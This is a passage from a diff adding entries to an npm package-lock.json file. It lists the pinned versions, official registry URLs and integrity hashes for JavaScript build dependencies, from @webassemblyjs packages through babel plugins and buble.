"@webassemblyjs/utf8": "1.11.6" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz", + "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==", + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" + }, + "@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" + }, + "accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "requires": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "dependencies": { + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + } + } + }, + "acorn": { + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz", + "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==" + }, + "acorn-class-fields": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/acorn-class-fields/-/acorn-class-fields-0.2.1.tgz", + "integrity": "sha512-US/kqTe0H8M4LN9izoL+eykVAitE68YMuYZ3sHn3i1fjniqR7oQ3SPvuMK/VT1kjOQHrx5Q88b90TtOKgAv2hQ==", + "requires": {} + }, + "acorn-dynamic-import": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-4.0.0.tgz", + "integrity": "sha512-d3OEjQV4ROpoflsnUA8HozoIR504TFxNivYEUi6uwz0IYhBkTDXGuWlNdMtybRt3nqVx/L6XqMt0FxkXuWKZhw==", + "requires": {} + }, + "acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "requires": {} + }, + "acorn-walk": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", + "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==" + }, + "address": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==" + }, + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "requires": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "requires": { + "ajv": "^8.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + } + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "requires": {} + }, + "algoliasearch": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/algoliasearch/-/algoliasearch-4.19.1.tgz", + "integrity": "sha512-IJF5b93b2MgAzcE/tuzW0yOPnuUyRgGAtaPv5UUywXM8kzqfdwZTO4sPJBzoGz1eOy6H9uEchsJsBFTELZSu+g==", + "requires": { + "@algolia/cache-browser-local-storage": "4.19.1", + "@algolia/cache-common": "4.19.1", + "@algolia/cache-in-memory": "4.19.1", + "@algolia/client-account": "4.19.1", + "@algolia/client-analytics": "4.19.1", + "@algolia/client-common": "4.19.1", + "@algolia/client-personalization": "4.19.1", + "@algolia/client-search": "4.19.1", + "@algolia/logger-common": "4.19.1", + "@algolia/logger-console": "4.19.1", + "@algolia/requester-browser-xhr": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/requester-node-http": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "algoliasearch-helper": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/algoliasearch-helper/-/algoliasearch-helper-3.14.0.tgz", + "integrity": "sha512-gXDXzsSS0YANn5dHr71CUXOo84cN4azhHKUbg71vAWnH+1JBiR4jf7to3t3JHXknXkbV0F7f055vUSBKrltHLQ==", + "requires": { + "@algolia/events": "^4.0.1" + } + }, + "ansi-align": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.1.tgz", + "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==", + "requires": { + "string-width": "^4.1.0" + }, + "dependencies": { + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + } + } + }, + "ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==" + }, + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==" + }, + "argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "array-buffer-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz", + "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "is-array-buffer": "^3.0.1" + } + }, + "array-flatten": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==" + }, + "array-includes": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.6.tgz", + "integrity": "sha512-sgTbLvL6cNnw24FnbaDyjmvddQ2ML8arZsgaJhoABMoplz/4QRhtrYS+alr1BUM1Bwp6dhx8vVCBSLG+StwOFw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "is-string": "^1.0.7" + } + }, + "array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==" + }, + "array.prototype.flat": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.1.tgz", + "integrity": "sha512-roTU0KWIOmJ4DRLmwKd19Otg0/mT3qPNt0Qb3GWW8iObuZXxrjB/pzn0R3hqpRSWg4HCwqx+0vwOnWnvlOyeIA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + } + }, + "array.prototype.flatmap": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.1.tgz", + "integrity": "sha512-8UGn9O1FDVvMNB0UlLv4voxRMze7+FpHyF5mSMRjWHUMlpoDViniy05870VlxhfgTnLbpuwTzvD76MTtWxB/mQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + } + }, + "array.prototype.tosorted": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.1.tgz", + "integrity": "sha512-pZYPXPRl2PqWcsUs6LOMn+1f1532nEoPTYowBtqLwAW+W8vSVhkIGnmOX1t/UQjD6YGI0vcD2B1U7ZFGQH9jnQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0", + "get-intrinsic": "^1.1.3" + } + }, + "arraybuffer.prototype.slice": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.1.tgz", + "integrity": "sha512-09x0ZWFEjj4WD8PDbykUwo3t9arLn8NIzmmYEJFpYekOAQjpkGSyrQhNoRTcwwcFRu+ycWF78QZ63oWTqSjBcw==", + "dev": true, + "requires": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "get-intrinsic": "^1.2.1", + "is-array-buffer": "^3.0.2", + "is-shared-array-buffer": "^1.0.2" + } + }, + "asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==" + }, + "asynciterator.prototype": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/asynciterator.prototype/-/asynciterator.prototype-1.0.0.tgz", + "integrity": "sha512-wwHYEIS0Q80f5mosx3L/dfG5t5rjEa9Ft51GTaNt862EnpyGHpgz2RkZvLPp1oF5TnAiTohkEKVEu8pQPJI7Vg==", + "dev": true, + "requires": { + "has-symbols": "^1.0.3" + } + }, + "at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==" + }, + "autoprefixer": { + "version": "10.4.15", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.15.tgz", + "integrity": "sha512-KCuPB8ZCIqFdA4HwKXsvz7j6gvSDNhDP7WnUjBleRkKjPdvCmHFuQ77ocavI8FT6NdvlBnE2UFr2H4Mycn8Vew==", + "requires": { + "browserslist": "^4.21.10", + "caniuse-lite": "^1.0.30001520", + "fraction.js": "^4.2.0", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + } + }, + "available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "dev": true + }, + "axios": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.25.0.tgz", + "integrity": "sha512-cD8FOb0tRH3uuEe6+evtAbgJtfxr7ly3fQjYcMcuPlgkwVS9xboaVIpcDV+cYQe+yGykgwZCs1pzjntcGa6l5g==", + "requires": { + "follow-redirects": "^1.14.7" + } + }, + "babel-loader": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.3.0.tgz", + "integrity": "sha512-H8SvsMF+m9t15HNLMipppzkC+Y2Yq+v3SonZyU70RBL/h1gxPkH08Ot8pEE9Z4Kd+czyWJClmFS8qzIP9OZ04Q==", + "requires": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + } + }, + "babel-plugin-apply-mdx-type-prop": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/babel-plugin-apply-mdx-type-prop/-/babel-plugin-apply-mdx-type-prop-1.6.22.tgz", + "integrity": "sha512-VefL+8o+F/DfK24lPZMtJctrCVOfgbqLAGZSkxwhazQv4VxPg3Za/i40fu22KR2m8eEda+IfSOlPLUSIiLcnCQ==", + "requires": { + "@babel/helper-plugin-utils": "7.10.4", + "@mdx-js/util": "1.6.22" + }, + "dependencies": { + "@babel/helper-plugin-utils": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", + "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==" + } + } + }, + "babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "requires": { + "object.assign": "^4.1.0" + } + }, + "babel-plugin-extract-import-names": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/babel-plugin-extract-import-names/-/babel-plugin-extract-import-names-1.6.22.tgz", + "integrity": "sha512-yJ9BsJaISua7d8zNT7oRG1ZLBJCIdZ4PZqmH8qa9N5AK01ifk3fnkc98AXhtzE7UkfCsEumvoQWgoYLhOnJ7jQ==", + "requires": { + "@babel/helper-plugin-utils": "7.10.4" + }, + "dependencies": { + "@babel/helper-plugin-utils": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", + "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==" + } + } + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.5.tgz", + "integrity": "sha512-19hwUH5FKl49JEsvyTcoHakh6BE0wgXLLptIyKZ3PijHc/Ci521wygORCUCCred+E/twuqRyAkE02BAWPmsHOg==", + "requires": { + "@babel/compat-data": "^7.22.6", + "@babel/helper-define-polyfill-provider": "^0.4.2", + "semver": "^6.3.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.8.3.tgz", + "integrity": "sha512-z41XaniZL26WLrvjy7soabMXrfPWARN25PZoriDEiLMxAp50AUW3t35BGQUMg5xK3UrpVTtagIDklxYa+MhiNA==", + "requires": { + "@babel/helper-define-polyfill-provider": "^0.4.2", + "core-js-compat": "^3.31.0" + } + }, + "babel-plugin-polyfill-regenerator": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.2.tgz", + "integrity": "sha512-tAlOptU0Xj34V1Y2PNTL4Y0FOJMDB6bZmoW39FeCQIhigGLkqu3Fj6uiXpxIf6Ij274ENdYx64y6Au+ZKlb1IA==", + "requires": { + "@babel/helper-define-polyfill-provider": "^0.4.2" + } + }, + "bail": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/bail/-/bail-1.0.5.tgz", + "integrity": "sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==" + }, + "balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "base16": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/base16/-/base16-1.0.0.tgz", + "integrity": "sha512-pNdYkNPiJUnEhnfXV56+sQy8+AaPcG3POZAUnwr4EeqCUZFz4u2PePbo3e5Gj4ziYPCWGUZT9RHisvJKnwFuBQ==" + }, + "batch": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==" + }, + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==" + }, + "body-parser": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz", + "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==", + "requires": { + "bytes": "3.1.2", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.11.0", + "raw-body": "2.5.1", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "dependencies": { + "bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "bonjour-service": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.1.1.tgz", + "integrity": "sha512-Z/5lQRMOG9k7W+FkeGTNjh7htqn/2LMnfOvBZ8pynNZCM9MwkQkI3zeI4oz09uWdcgmgHugVvBqxGg4VQJ5PCg==", + "requires": { + "array-flatten": "^2.1.2", + "dns-equal": "^1.0.0", + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==" + }, + "boxen": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/boxen/-/boxen-6.2.1.tgz", + "integrity": "sha512-H4PEsJXfFI/Pt8sjDWbHlQPx4zL/bvSQjcilJmaulGt5mLDorHOHpmdXAJcBcmru7PhYSp/cDMWRko4ZUMFkSw==", + "requires": { + "ansi-align": "^3.0.1", + "camelcase": "^6.2.0", + "chalk": "^4.1.2", + "cli-boxes": "^3.0.0", + "string-width": "^5.0.1", + "type-fest": "^2.5.0", + "widest-line": "^4.0.1", + "wrap-ansi": "^8.0.1" + } + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "requires": { + "fill-range": "^7.0.1" + } + }, + "browserslist": { + "version": "4.21.10", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.10.tgz", + "integrity": "sha512-bipEBdZfVH5/pwrvqc+Ub0kUPVfGUhlKxbvfD+z1BDnPEO/X98ruXGA1WP5ASpAFKan7Qr6j736IacbZQuAlKQ==", + "requires": { + "caniuse-lite": "^1.0.30001517", + "electron-to-chromium": "^1.4.477", + "node-releases": "^2.0.13", + "update-browserslist-db": "^1.0.11" + } + }, + "buble": { + "version": "0.19.6", + "resolved": "https://registry.npmjs.org/buble/-/buble-0.19.6.tgz", + "integrity": "sha512-9kViM6nJA1Q548Jrd06x0geh+BG2ru2+RMDkIHHgJY/8AcyCs34lTHwra9BX7YdPrZXd5aarkpr/SY8bmPgPdg==", + "requires": { + "chalk": "^2.4.1", + "magic-string": "^0.25.1", + "minimist": "^1.2.0", + "os-homedir": "^1.0.1", + "regexpu-core": "^4.2.0", + "vlq": "^1.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + 